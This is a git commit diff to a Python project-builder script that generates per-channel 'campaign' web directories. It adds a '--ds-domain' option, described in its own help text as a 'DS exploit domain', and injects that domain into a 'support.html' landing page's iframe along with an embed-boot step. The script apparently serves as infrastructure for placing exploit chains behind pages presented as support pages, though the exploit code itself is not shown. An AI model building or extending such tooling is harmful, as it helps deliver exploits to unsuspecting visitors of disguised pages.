feat: old channel

channel-builder/tools/new_project.py

@@ -38,6 +38,11 @@ from _common import (
 
 TOOLS = Path(__file__).resolve().parent
 BUILDER_ROOT = TOOLS.parent
+_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
+if str(_EMBED_DIR) not in sys.path:
+    sys.path.insert(0, str(_EMBED_DIR))
+from embed_boot import apply_embed_boot  # noqa: E402
+
 SUPPORT_TEMPLATES = ("test", "blank")
 DEFAULT_SUPPORT_TEMPLATE = "blank"
 SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
@@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str:
     return template
 
 
-# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
-HIT_MARKER = "data-pv"
-HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
-
-
-def load_hit_js() -> str:
-    if not HIT_JS_PATH.is_file():
-        raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
-    return HIT_JS_PATH.read_text(encoding="utf-8").strip()
-
-
-def ensure_hit_beacon(support_html: Path) -> None:
-    """Inline PV/UV beacon into <head> (idempotent via data-pv)."""
-    text = support_html.read_text(encoding="utf-8")
-    if HIT_MARKER in text:
-        return
-    block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
-    lower = text.lower()
-    idx = lower.rfind("</head>")
-    if idx >= 0:
-        text = text[:idx] + block + text[idx:]
-    else:
-        # Fallback: prepend after <html...> or at start.
-        html_idx = lower.find("<html")
-        if html_idx >= 0:
-            gt = text.find(">", html_idx)
-            text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
-        else:
-            text = "<head>\n" + block + "</head>\n" + text
-    support_html.write_text(text, encoding="utf-8")
-
-
 def apply_support_template(campaign_dir: Path, template: str) -> None:
     template = normalize_support_template(template)
     dest = campaign_dir / "support.html"
-    if template == "test":
-        if not dest.is_file():
-            raise SystemExit(f"missing support.html after campaign copy: {dest}")
-        return
     src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
     if not src.is_file():
         raise SystemExit(f"missing support template: {src}")
     shutil.copyfile(src, dest)
-    if template == "blank":
-        ensure_hit_beacon(dest)
+
+
+def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
+    """Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
+    if not support_html.is_file():
+        return
+    text = support_html.read_text(encoding="utf-8")
+    if "__DS_DOMAIN__" not in text:
+        return
+    support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")
 
 
 def resolve_python() -> str:
@@ -303,12 +280,20 @@ def main() -> int:
         type=Path,
         help="optional path to write the result JSON (also printed on stdout)",
     )
+    parser.add_argument(
+        "--ds-domain",
+        default="",
+        help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
+        "Empty = relative /next-chain/ (default)",
+    )
     args = parser.parse_args()
 
     src_campaign = SOURCE_ROOT / "web"
     src_sync = SOURCE_ROOT / "sync"
     if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
         raise SystemExit(f"missing source web template: {src_campaign}")
+    if not (src_campaign / "index.js").is_file():
+        raise SystemExit(f"missing source web/index.js: {src_campaign}")
     if not src_sync.is_dir():
         raise SystemExit(f"missing source sync: {src_sync}")
 
@@ -382,7 +367,10 @@ def main() -> int:
         print("=== build web/%s ===" % channel)
         web_dir.parent.mkdir(parents=True, exist_ok=True)
         shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
+        if not (web_dir / "index.js").is_file():
+            raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
         apply_support_template(web_dir, support_template)
+        apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
         run(
             [
                 py,
@@ -401,6 +389,11 @@ def main() -> int:
                 "--apply",
             ]
         )
+        apply_embed_boot(
+            web_dir,
+            channel_code=channel,
+            ds_domain=(args.ds_domain or "").rstrip("/"),
+        )
     except BaseException:
         if web_dir.exists() and not sync_rebuilt:
             # leave shared sync; remove failed channel web
@@ -421,6 +414,7 @@ def main() -> int:
         "seeds_initialized": seeds_initialized,
         "sync_rebuilt": sync_rebuilt,
         "support_path": f"/web/{channel}/support.html",
+        "ds_domain": (args.ds_domain or "").rstrip("/"),
         "daily_path": "/sync/daily.html",
         "artifact_root": str(artifact_root),
         "state_root": str(state_root),